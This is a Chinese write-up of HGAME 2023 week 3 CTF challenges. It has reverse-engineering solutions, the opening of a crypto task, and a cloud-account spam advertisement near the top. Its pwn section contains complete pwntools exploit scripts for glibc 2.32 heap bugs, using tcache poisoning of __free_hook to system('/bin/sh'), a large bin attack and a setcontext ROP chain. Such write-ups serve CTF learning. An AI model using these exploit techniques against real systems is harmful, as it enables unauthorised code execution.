hgame2023 week3 writeup

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

WEEK3

文章目录

Reverse

1、kunmusic

小黑子露出鸡脚了吧
dnspy打开pe和dlldll中发现music函数

// WinFormsLibrary1.Class1
// Token: 0x06000012 RID: 18 RVA: 0x0000218C File Offset: 0x0000038C
public void music(object sender, EventArgs e)
{
	if (this.num[0] + 52296 + this.num[1] - 26211 + this.num[2] - 11754 + (this.num[3] ^ 41236) + this.num[4] * 63747 + this.num[5] - 52714 + this.num[6] - 10512 + this.num[7] * 12972 + this.num[8] + 45505 + this.num[9] - 21713 + this.num[10] - 59122 + this.num[11] - 12840 + (this.num[12] ^ 21087) == 12702282 && this.num[0] - 25228 + (this.num[1] ^ 20699) + (this.num[2] ^ 8158) + this.num[3] - 65307 + this.num[4] * 30701 + this.num[5] * 47555 + this.num[6] - 2557 + (this.num[7] ^ 49055) + this.num[8] - 7992 + (this.num[9] ^ 57465) + (this.num[10] ^ 57426) + this.num[11] + 13299 + this.num[12] - 50966 == 9946829 && this.num[0] - 64801 + this.num[1] - 60698 + this.num[2] - 40853 + this.num[3] - 54907 + this.num[4] + 29882 + (this.num[5] ^ 13574) + (this.num[6] ^ 21310) + this.num[7] + 47366 + this.num[8] + 41784 + (this.num[9] ^ 53690) + this.num[10] * 58436 + this.num[11] * 15590 + this.num[12] + 58225 == 2372055 && this.num[0] + 61538 + this.num[1] - 17121 + this.num[2] - 58124 + this.num[3] + 8186 + this.num[4] + 21253 + this.num[5] - 38524 + this.num[6] - 48323 + this.num[7] - 20556 + this.num[8] * 56056 + this.num[9] + 18568 + this.num[10] + 12995 + (this.num[11] ^ 39260) + this.num[12] + 25329 == 6732474 && this.num[0] - 42567 + this.num[1] - 17743 + this.num[2] * 47827 + this.num[3] - 10246 + (this.num[4] ^ 16284) + this.num[5] + 39390 + this.num[6] * 11803 + this.num[7] * 60332 + (this.num[8] ^ 18491) + (this.num[9] ^ 4795) + this.num[10] - 25636 + this.num[11] - 16780 + this.num[12] - 62345 == 14020739 && this.num[0] - 10968 + this.num[1] - 31780 + (this.num[2] ^ 31857) + this.num[3] - 61983 + this.num[4] * 31048 + this.num[5] * 20189 + this.num[6] + 12337 + this.num[7] * 25945 + (this.num[8] ^ 7064) + this.num[9] - 25369 + this.num[10] - 54893 + this.num[11] * 59949 + (this.num[12] ^ 12441) == 14434062 && this.num[0] + 16689 + this.num[1] - 10279 + this.num[2] - 32918 + this.num[3] - 57155 + this.num[4] * 26571 + this.num[5] * 15086 + (this.num[6] ^ 22986) + (this.num[7] ^ 23349) + (this.num[8] ^ 16381) + (this.num[9] ^ 23173) + this.num[10] - 40224 + this.num[11] + 31751 + this.num[12] * 8421 == 7433598 && this.num[0] + 28740 + this.num[1] - 64696 + this.num[2] + 60470 + this.num[3] - 14752 + (this.num[4] ^ 1287) + (this.num[5] ^ 35272) + this.num[6] + 49467 + this.num[7] - 33788 + this.num[8] + 20606 + (this.num[9] ^ 44874) + this.num[10] * 19764 + this.num[11] + 48342 + this.num[12] * 56511 == 7989404 && (this.num[0] ^ 28978) + this.num[1] + 23120 + this.num[2] + 22802 + this.num[3] * 31533 + (this.num[4] ^ 39287) + this.num[5] - 48576 + (this.num[6] ^ 28542) + this.num[7] - 43265 + this.num[8] + 22365 + this.num[9] + 61108 + this.num[10] * 2823 + this.num[11] - 30343 + this.num[12] + 14780 == 3504803 && this.num[0] * 22466 + (this.num[1] ^ 55999) + this.num[2] - 53658 + (this.num[3] ^ 47160) + (this.num[4] ^ 12511) + this.num[5] * 59807 + this.num[6] + 46242 + this.num[7] + 3052 + (this.num[8] ^ 25279) + this.num[9] + 30202 + this.num[10] * 22698 + this.num[11] + 33480 + (this.num[12] ^ 16757) == 11003580 && this.num[0] * 57492 + (this.num[1] ^ 13421) + this.num[2] - 13941 + (this.num[3] ^ 48092) + this.num[4] * 38310 + this.num[5] + 9884 + this.num[6] - 45500 + this.num[7] - 19233 + this.num[8] + 58274 + this.num[9] + 36175 + (this.num[10] ^ 18568) + this.num[11] * 49694 + (this.num[12] ^ 9473) == 25546210 && this.num[0] - 23355 + this.num[1] * 50164 + (this.num[2] ^ 34618) + this.num[3] + 52703 + this.num[4] + 36245 + this.num[5] * 46648 + (this.num[6] ^ 4858) + (this.num[7] ^ 41846) + this.num[8] * 27122 + (this.num[9] ^ 42058) + this.num[10] * 15676 + this.num[11] - 31863 + this.num[12] + 62510 == 11333836 && this.num[0] * 30523 + (this.num[1] ^ 7990) + this.num[2] + 39058 + this.num[3] * 57549 + (this.num[4] ^ 53440) + this.num[5] * 4275 + this.num[6] - 48863 + (this.num[7] ^ 55436) + (this.num[8] ^ 2624) + (this.num[9] ^ 13652) + this.num[10] + 62231 + this.num[11] + 19456 + this.num[12] - 13195 == 13863722)
	{
		int[] array = new int[]
		{
			132,
			47,
			180,
			7,
			216,
			45,
			68,
			6,
			39,
			246,
			124,
			2,
			243,
			137,
			58,
			172,
			53,
			200,
			99,
			91,
			83,
			13,
			171,
			80,
			108,
			235,
			179,
			58,
			176,
			28,
			216,
			36,
			11,
			80,
			39,
			162,
			97,
			58,
			236,
			130,
			123,
			176,
			24,
			212,
			56,
			89,
			72
		};
		string text = "";
		for (int i = 0; i < array.Length; i++)
		{
			text += ((char)(array[i] ^ this.num[i % this.num.Length])).ToString();
		}
		new SoundPlayer(Resources.过年鸡).Play();
		MessageBox.Show(text);
	}
}

结合程序应该是每个按钮点击到一定次数才会触发弹出flag

判断条件可以z3求解



from z3 import *
num = [ BitVec(f'num[{i}]',32) for i in range(13)]

s = Solver()

s.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 41236) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 21087) == 12702282 )
s.add(num[0] - 25228 + (num[1] ^ 20699) + (num[2] ^ 8158) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 49055) + num[8] - 7992 + (num[9] ^ 57465) + (num[10] ^ 57426) + num[11] + 13299 + num[12] - 50966 == 9946829 )
s.add(num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 13574) + (num[6] ^ 21310) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 53690) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 )
s.add(num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 39260) + num[12] + 25329 == 6732474 )
s.add(num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 16284) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 18491) + (num[9] ^ 4795) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 )
s.add(num[0] - 10968 + num[1] - 31780 + (num[2] ^ 31857) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 7064) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 12441) == 14434062 )
s.add(num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 22986) + (num[7] ^ 23349) + (num[8] ^ 16381) + (num[9] ^ 23173) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 )
s.add(num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 1287) + (num[5] ^ 35272) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 44874) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 )
s.add((num[0] ^ 28978) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 39287) + num[5] - 48576 + (num[6] ^ 28542) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 )
s.add(num[0] * 22466 + (num[1] ^ 55999) + num[2] - 53658 + (num[3] ^ 47160) + (num[4] ^ 12511) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 25279) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 16757) == 11003580 )
s.add(num[0] * 57492 + (num[1] ^ 13421) + num[2] - 13941 + (num[3] ^ 48092) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 18568) + num[11] * 49694 + (num[12] ^ 9473) == 25546210 )
s.add(num[0] - 23355 + num[1] * 50164 + (num[2] ^ 34618) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 4858) + (num[7] ^ 41846) + num[8] * 27122 + (num[9] ^ 42058) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 )
s.add(num[0] * 30523 + (num[1] ^ 7990) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 53440) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 55436) + (num[8] ^ 2624) + (num[9] ^ 13652) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722 )
print(s.check())
m=s.model()
print(m)

然后计算flag


num = [0]*13
num[12] = 3221225605
num[1] = 221970504
num[2] = 2480046293
num[4] = 189
num[0] = 2147483884
num[5] = 86
num[6] = 1282375742
num[7] = 53
num[8] = 120
num[9] = 3531800775
num[10] = 2147483663
num[11] = 2147483741
num[3] = 106

c=[132, 47, 180, 7, 216, 45, 68, 6, 39, 246, 124, 2, 243, 137, 58, 172, 53, 200, 99, 91, 83, 13, 171, 80, 108, 235, 179, 58, 176, 28, 216, 36, 11, 80, 39, 162, 97, 58, 236, 130, 123, 176, 24, 212, 56, 89, 72]

for i in range(len(c)):
	c[i] ^= num[i%13]
	c[i] &=0x7f
print(bytes(c))

2、patchme

不会pwn的re手不是一个好CTFer游戏规则修复程序中的二进制安全漏洞要求能严格执行原程序的正常功能且不变动文件大小如果修复成功在运行后输入任何内容即可输出flag。附件更新增加部分源码以作提示https://share.weiyun.com/Kj85naWl

main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char format[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  dword_4028 = a1;
  qword_4020 = (__int64)a2;
  gets(format);
  printf(format);
  return 0LL;
}

gets存在溢出题目要求是修复程序然后运行会打印flag那程序中也不然有flag。。。main中没涉及那只能是在main之前找找init_array发现有函数先执行了sub_1887

.init_array:0000000000003D00 E0 13 00 00 00 00 00 00       off_3D00 dq offset sub_13E0   ; DATA XREF: LOAD:0000000000000168↑o
.init_array:0000000000003D00                                                             ; LOAD:00000000000002F0↑o
.init_array:0000000000003D00                                                             ; init+6↑o
.init_array:0000000000003D08 87 18 00 00 00 00 00 00       dq offset sub_1887

退出时fini_array执行loc_14C6

.fini_array:0000000000003D10                               assume cs:_fini_array
.fini_array:0000000000003D10 A0 13 00 00 00 00 00 00       off_3D10 dq offset sub_13A0   ; DATA XREF: init+1D↑o
.fini_array:0000000000003D18 C6 14 00 00 00 00 00 00       dq offset loc_14C6
.fini_array:0000000000003D18                               _fini_array ends

进入到这里sub_1887程序会修改loc_14C6函数的代码

int sub_1887()
{
  _BYTE *v0; // rax
  int v2; // [rsp+Ch] [rbp-1B4h] BYREF
  int j; // [rsp+10h] [rbp-1B0h]
  int fd; // [rsp+14h] [rbp-1ACh]
  char *i; // [rsp+18h] [rbp-1A8h]
  char buf[408]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v7; // [rsp+1B8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  fd = open("/proc/self/status", 0);
  read(fd, buf, 0x190uLL);
  for ( i = buf; *i != 84 || i[1] != 114 || i[2] != 97 || i[3] != 99 || i[4] != 101 || i[5] != 114; ++i )
    ;
  i += 11;
  __isoc99_sscanf(i, &unk_2008, &v2);
  if ( v2 )
    exit(0);
  LODWORD(v0) = mprotect((void *)((unsigned __int64)&loc_14C6 & 0xFFFFFFFFFFFFF000LL), 0x3000uLL, 7);
  for ( j = 0; j <= 960; ++j )
  {
    v0 = (char *)&loc_14C6 + j;
    *v0 ^= 0x66u;
  }
  return (int)v0;
}

取出loc_14C6中的数据进行异或处理后patch回去 这样就可以看到loc_14C6处的代码同时sub_1887处把异或处理nop掉

int sub_1887()
{
  _BYTE *v0; // rax
  int v2; // [rsp+Ch] [rbp-1B4h] BYREF
  int j; // [rsp+10h] [rbp-1B0h]
  int fd; // [rsp+14h] [rbp-1ACh]
  char *i; // [rsp+18h] [rbp-1A8h]
  char buf[408]; // [rsp+20h] [rbp-1A0h] BYREF
  unsigned __int64 v7; // [rsp+1B8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  fd = open("/proc/self/status", 0);
  read(fd, buf, 0x190uLL);
  for ( i = buf; *i != 84 || i[1] != 114 || i[2] != 97 || i[3] != 99 || i[4] != 101 || i[5] != 114; ++i )
    ;
  i += 11;
  __isoc99_sscanf(i, &unk_2008, &v2);
  LODWORD(v0) = mprotect((void *)((unsigned __int64)sub_14C6 & 0xFFFFFFFFFFFFF000LL), 0x3000uLL, 7);
  for ( j = 0; j <= 960; ++j )
  {
    v0 = (char *)sub_14C6 + j;
    *v0 = *v0;
  }
  return (int)v0;
}

再进入sub_14C6里面有判断条件写入数据再读出来判断是不是一致把判断分支也patch一下直接进入到最后打印flag即可

int sub_14C6()
{
  int result; // eax
  __WAIT_STATUS stat_loc; // [rsp+Ch] [rbp-2C4h] BYREF
  int i; // [rsp+14h] [rbp-2BCh]
  __off_t st_size; // [rsp+18h] [rbp-2B8h]
  int pipedes[2]; // [rsp+20h] [rbp-2B0h] BYREF
  int v5[2]; // [rsp+28h] [rbp-2A8h] BYREF
  char *argv[4]; // [rsp+30h] [rbp-2A0h] BYREF
  struct stat stat_buf; // [rsp+50h] [rbp-280h] BYREF
  __int64 v8[5]; // [rsp+E0h] [rbp-1F0h]
  int v9; // [rsp+108h] [rbp-1C8h]
  __int16 v10; // [rsp+10Ch] [rbp-1C4h]
  char v11; // [rsp+10Eh] [rbp-1C2h]
  __int64 v12[5]; // [rsp+110h] [rbp-1C0h]
  int v13; // [rsp+138h] [rbp-198h]
  __int16 v14; // [rsp+13Ch] [rbp-194h]
  char v15; // [rsp+13Eh] [rbp-192h]
  char buf[80]; // [rsp+140h] [rbp-190h] BYREF
  char s1[8]; // [rsp+190h] [rbp-140h] BYREF
  __int64 v18; // [rsp+198h] [rbp-138h]
  char v19[280]; // [rsp+1A0h] [rbp-130h] BYREF
  int v20; // [rsp+2B8h] [rbp-18h]
  unsigned __int64 v21; // [rsp+2C8h] [rbp-8h]

  v21 = __readfsqword(0x28u);
  result = dword_4028;
  if ( dword_4028 <= 1 )
  {
    pipe(pipedes);
    pipe(v5);
    if ( fork() )
    {
      close(pipedes[0]);
      close(v5[1]);
      HIDWORD(stat_loc.__iptr) = 0;
      while ( SHIDWORD(stat_loc.__iptr) <= 35 )
      {
        buf[2 * HIDWORD(stat_loc.__iptr)] = 37;
        buf[2 * HIDWORD(stat_loc.__iptr)++ + 1] = 110;
      }
      buf[72] = 10;
      buf[73] = 0;
      write(pipedes[1], buf, 0x4AuLL);
      *(_QWORD *)s1 = 0LL;
      v18 = 0LL;
      memset(v19, 0, sizeof(v19));
      v20 = 0;
      read(v5[0], s1, 0x12CuLL);
      wait((__WAIT_STATUS)&stat_loc);
      strncmp(s1, buf, 0x14uLL);
      v8[0] = 0x5416D999808A28FALL;
      v8[1] = 0x588505094953B563LL;
      v8[2] = 0xCE8CF3A0DC669097LL;
      v8[3] = 0x4C5CF3E854F44CBDLL;
      v8[4] = 0xD144E49916678331LL;
      v9 = -631149652;
      v10 = -17456;
      v11 = 85;
      v12[0] = 0x3B4FA2FCEDEB4F92LL;
      v12[1] = 0x7E45A6C3B67EA16LL;
      v12[2] = 0xAFE1ACC8BF12D0E7LL;
      v12[3] = 0x132EC3B7269138CELL;
      v12[4] = 0x8E2197EB7311E643LL;
      v13 = -1370223935;
      v14 = -13899;
      v15 = 40;
      result = putchar(10);
      for ( i = 0; i <= 46; ++i )
        result = putchar((char)(*((_BYTE *)v8 + i) ^ *((_BYTE *)v12 + i)));
    }
    else
    {
      fflush(stdin);
      close(pipedes[1]);
      close(v5[0]);
      dup2(pipedes[0], 0);
      dup2(v5[1], 1);
      dup2(v5[1], 2);
      argv[0] = *(char **)qword_4020;
      argv[1] = "1";
      argv[2] = 0LL;
      sub_1AA0(*(char **)qword_4020, &stat_buf);
      st_size = stat_buf.st_size;
      if ( stat_buf.st_size == 14472 )
      {
        return execve(*(const char **)qword_4020, argv, 0LL);
      }
      else
      {
        puts("\nyou cannot modify the file size");
        return 0;
      }
    }
  }
  return result;
}

保存程序运行任意输入打印flag

wz@u2204:/mnt/d/ctf/ti/hgame2023/week3/re-patchme$ ./patchme
123
123
hgame{You_4re_a_p@tch_master_0r_reverse_ma5ter}

3、cpp

C++是一门非常好的语言他好就好在了逆向比较难😜

没必要逆动调发现改动一个字符密文也只改动该位置所以应该可以按位爆破不过还要摘代码。。

不知道是不是非预期看到算法中间异或比较多尝试随便输入明文对明文和得到的密文进行异或后作为密钥密钥异或flag密文即为flag闹半天就是个异或加密。。。

exp:



c=[40, 80, 193, 35, 152, 161, 65, 54, 76, 49, 203, 82, 144, 241, 172, 204, 15, 108, 42, 137, 127, 223, 17, 132, 127, 230, 162, 224, 89, 199, 197, 70, 93, 41, 56, 147, 237, 21, 122, 255]

a=list(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
b=[33, 86, 193, 47, 156, 187, 99, 39, 93, 15, 155, 64, 174, 253, 184, 206, 6, 82, 38, 216, 108, 141, 47, 129, 114, 225, 165, 176, 91, 211, 200, 83, 99, 60, 49, 198, 226, 43, 88, 227]

for i in range(len(c)):
	print(chr(a[i]^b[i]^c[i]),end='')

pwn

1、safe_note

由于ubuntu仓库已经移除了libc-2.32的包附件中的libc包括了调试符号

#encoding=utf-8
from pwn import *
import time
'''
libc 2.32 

#1、leak libc
#2、leak key
#3、tcache free hook
'''
context(os='linux',arch='amd64')
#context.log_level = 'debug'
r = remote('week-3.hgame.lwsec.cn',30621)
context.binary = '/mnt/d/ctf/ti/hgame2023/week3/pwn-safe_note/vuln'
#r = process(context.binary.path)
elf = context.binary

libc = elf.libc

def _add(idx, lenn,ddd='' ):
    r.sendlineafter(">",'1')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Size: ",str(lenn))

def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _edit(idx, ddd):
    r.sendlineafter(">",'3')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Content: ",ddd)

def _view(idx):
    r.sendlineafter(">",'4')
    r.sendlineafter("Index: ",str(idx))


#1、leak libc
for i in range(8):#0-7
    _add(i,0x80)

for i in range(7):#1-7
    _remove(i+1)
_remove(0)
_edit(0,'')
_view(0)

main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))

malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']

malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print('libc_base:',hex(libc_base))
print('malloc_hook_addr:',hex(malloc_hook_addr))
print('free_hook_addr:',hex(free_hook_addr))
print('system_addr:',hex(system_addr))

#2、leak key
_view(1)
key = u64(r.recv(5).ljust(8,b'\0'))
heap_base = key << 12
print('heap_base:',hex(heap_base))

#3、free hook
free_hook_addr_next = free_hook_addr^key
_edit(7,p64(free_hook_addr_next)+p64(free_hook_addr))

#3、
_add(8,0x80)
_add(9,0x80)
_edit(9, p64(system_addr)*2)
_edit(8,'/bin/sh\0')
_remove(8)

r.interactive()

2、large_note

HINTS:

bin(包括tcache)对应的chunk的大小范围并不是常量而是变量捏

large bin攻击 修改tcache_max_bins然后同1

#encoding=utf-8
from pwn import *
from LibcSearcher import *
#import time
#context(os='linux',arch='amd64')
#context(os='linux',arch='i386')
#context.log_level = 'debug'
#r = remote('47.99.38.177',10002)
context.binary = '/mnt/d/ctf/ti/hgame2023/week3/pwn-large_note/vuln'
r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def _add(idx, lenn,ddd='' ):
    r.sendlineafter(b">",'1')
    r.sendlineafter(b"Index: ",str(idx))
    r.sendlineafter(b"Size: ",str(lenn))

def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx))

def _edit(idx, ddd):
    r.sendlineafter(b">",'3')
    r.sendlineafter(b"Index: ",str(idx))
    #r.sendlineafter(b"Content: ",ddd)
    r.sendafter(b"Content: ",ddd)

def _view(idx):
    r.sendlineafter(b">",'4')
    r.sendlineafter(b"Index: ",str(idx))

def leaklibc(main_arna_96):
    malloc_hook_s = libc.symbols['__malloc_hook']
    free_hook_s = libc.symbols['__free_hook']
    system_s = libc.sym['system']

    malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
    libc_base = malloc_hook_addr - malloc_hook_s
    free_hook_addr = libc_base + free_hook_s
    system_addr = libc_base + system_s
    print('libc_base:',hex(libc_base))
    print('malloc_hook_addr:',hex(malloc_hook_addr))
    print('free_hook_addr:',hex(free_hook_addr))
    print('system_addr:',hex(system_addr))
    return libc_base,free_hook_addr,system_addr


_add(0,0x528) #大
_add(1,0x500)
_add(2,0x528)
_add(3,0x518)
_add(4,0x500)
_add(5,0x500)
_add(6,0x500)

#leak libc
_remove(0)
_edit(0,'\n') #低位为0  puts会截断
_view(0)
main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
print('main_arna_96:',hex(main_arna_96))
libc.address,free_hook_addr,system_addr = leaklibc(main_arna_96)
tcache_max_bins =  0x1e32d0 + libc.address
print('tcache_max_bins:',hex(tcache_max_bins))
_edit(0,'\x00')  # 修补回来否则乱了

#leak heap
_remove(2)
_view(2)

heap_addr=u64(r.recv(6).ljust(8,b'\0'))
heap_base =  heap_addr& 0xFFFFFFFFFFFFF000

print('heap_addr:',hex(heap_addr))
print('heap_base:',hex(heap_base))


_add(0,0x528)
_add(2,0x528)
_remove(0)
# chunk1 to  large bin
_add(7,0x600)  
_view(0)       # leak fd bk
fd_bk = u64(r.recv(6).ljust(8,b'\0'))
print('fd_bk:',hex(fd_bk))

print('libc.sym._IO_list_all:',hex(libc.sym._IO_list_all))
#_edit(0,p64(fd_bk)*2 +p64(0) +p64(libc.sym._IO_list_all-0x20))
_edit(0,p64(fd_bk)*2 +p64(0) +p64(tcache_max_bins-0x20))
#_edit(0,p64(fd_bk)*2 +p64(heap_addr) +p64(tcache_max_bins-0x20))
_remove(3)  # chunk3 地址写入 目标地址
_add(8,0x600)

_remove(5) 
_view(5)
key = u64(r.recv(5).ljust(8,b'\0'))
print('key:',hex(key))
_remove(4) 
_edit(4,p64(free_hook_addr^key))
_add(9,0x500)
_add(10,0x500) ##free hook
_edit(9,'/bin/sh\0')
_edit(10, p64(system_addr))
_remove(9)
r.interactive()

3、note_context

HINTS:

可以在week1的官方wp中找找思路捏

在2的基础上orw使用setcontext+61 进行栈劫持构造orw

#encoding=utf-8
from pwn import *
from LibcSearcher import *
#import time
#context(os='linux',arch='amd64')
#context(os='linux',arch='i386')
#context.log_level = 'debug'
r = remote('week-3.hgame.lwsec.cn',32601)
context.binary = '/mnt/d/ctf/ti/hgame2023/week3/pwn-note_context/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc

def _add(idx, lenn,ddd='' ):
    r.sendlineafter(b">",'1')
    r.sendlineafter(b"Index: ",str(idx).encode())
    r.sendlineafter(b"Size: ",str(lenn).encode())

def _remove(idx):
    r.sendlineafter(">",'2')
    r.sendlineafter("Index: ",str(idx).encode())

def _edit(idx, ddd):
    r.sendlineafter(b">",'3')
    r.sendlineafter(b"Index: ",str(idx).encode())
    #r.sendlineafter(b"Content: ",ddd)
    r.sendafter(b"Content: ",ddd)

def _view(idx):
    r.sendlineafter(b">",'4')
    r.sendlineafter(b"Index: ",str(idx).encode())

def leaklibc(main_arna_96):
    malloc_hook_s = libc.symbols['__malloc_hook']
    free_hook_s = libc.symbols['__free_hook']
    system_s = libc.sym['system']

    malloc_hook_addr = (main_arna_96 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
    libc_base = malloc_hook_addr - malloc_hook_s
    free_hook_addr = libc_base + free_hook_s
    system_addr = libc_base + system_s
    print('libc_base:',hex(libc_base))
    print('malloc_hook_addr:',hex(malloc_hook_addr))
    print('free_hook_addr:',hex(free_hook_addr))
    print('system_addr:',hex(system_addr))
    return libc_base,free_hook_addr,system_addr


_add(0,0x528) #大
_add(1,0x500)
_add(2,0x528)
_add(3,0x518)
_add(4,0x500)
_add(5,0x500)
_add(6,0x500)

#leak libc
_remove(0)
_edit(0,'\n')
_view(0)
main_arna_96 = u64(r.recv(6).ljust(8,b'\0'))
#print('main_arna_96:',hex(main_arna_96))
libc.address,free_hook_addr,system_addr = leaklibc(main_arna_96)
tcache_max_bins =  0x1e32d0 + libc.address
print('tcache_max_bins:',hex(tcache_max_bins))
_edit(0,'\x00')

#leak heap
_remove(2)
_view(2)

heap_addr=u64(r.recv(6).ljust(8,b'\0'))
heap_base =  heap_addr& 0xFFFFFFFFFFFFF000

print('heap_addr:',hex(heap_addr))
print('heap_base:',hex(heap_base))


_add(0,0x528)
_add(2,0x528)
_remove(0)
# chunk1 to  large bin
_add(7,0x600)  
_view(0)       # leak fd bk
fd_nextsize = u64(r.recv(6).ljust(8,b'\0'))
print('fd_nextsize:',hex(fd_nextsize))

#print('libc.sym._IO_list_all:',hex(libc.sym._IO_list_all))
#_edit(0,p64(fd_nextsize)*2 +p64(0) +p64(libc.sym._IO_list_all-0x20))
_edit(0,p64(fd_nextsize)*2 +p64(0) +p64(tcache_max_bins-0x20))

#_edit(0,p64(fd_nextsize)*2 +p64(heap_addr) +p64(tcache_max_bins-0x20))
_remove(3) 
_add(8,0x600)

_remove(5) 
_view(5)
key = u64(r.recv(5).ljust(8,b'\0'))
print('key:',hex(key))
_remove(4) 

_edit(4,p64(free_hook_addr^key))

setcontext_addr = libc.sym.setcontext + 61
print('setcontext_addr:',hex(setcontext_addr))
syscall_addr = next(libc.search(asm("syscall\nret")))
print('syscall_addr:',hex(syscall_addr))

_add(9,0x500)
_add(10,0x500) ##free hook
_edit(9,'/bin/sh\0')

#2.31+ setcontext
pop_rdi_addr = libc.address + 0x2858f         # pop rdi; ret;
pop_rsi_addr = libc.address + 0x2ac3f         # pop rsi; ret;
pop_rdx_r12_addr = libc.address + 0x114161    # pop rdx ; pop r12 ; ret
ret_addr = pop_rdi_addr+1                     # ret
fake_frame_addr = libc.sym['__free_hook'] + 0x10
print('fake_frame_addr:',hex(fake_frame_addr))
frame = SigreturnFrame()

frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = ret_addr # ret;
frame = bytes(frame).ljust(0xF8, b'\x00')

rop_data = [
    libc.sym.open,
    pop_rdx_r12_addr,
    0x100,
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    libc.sym.read,
    pop_rdi_addr,
    fake_frame_addr + 0x200,
    libc.sym.puts
]
#0x000000000014b760: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget = libc.address + 0x14b760 
print('gadget:',hex(gadget))

payload =  p64(gadget) + p64(fake_frame_addr) + b'\x00' * 0x20 + p64(libc.sym.setcontext + 61) 
payload += frame[0x28:] + b"flag\x00\x00\x00\x00" + p64(0) +flat(rop_data)

_edit(10,payload)
_edit(9,payload)
#gdb.attach(r,'b *$rebase(0x17d9)')
gdb.attach(r,f'b *{hex(ret_addr)}')
time.sleep(4)

_remove(9)
r.interactive()

Crypto

1、ezDH

这大过年的Bob给Alice发了什么消息呢

目的是要求出p2p2和p1相差一个shared_secret所以只要求出shared_secret就能得到p2

sage


n=0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2
A=0x22888b5ac1e2f490c55d0891f39aab63f74ea689aa3da3e8fd32c1cd774f7ca79538833e9348aebfc8eba16e850bbb94c35641c2e7e7e8cb76032ad068a83742dbc0a1ad3f3bef19f8ae6553f39d8771d43e5f2fcb986bd72459456d073e70d5be4d79ce5f10f76edea01492f11b807ebff0faf6819d62a8e972084e1ed5dd6e0152df2b0477a42246bbaa04389abf639833
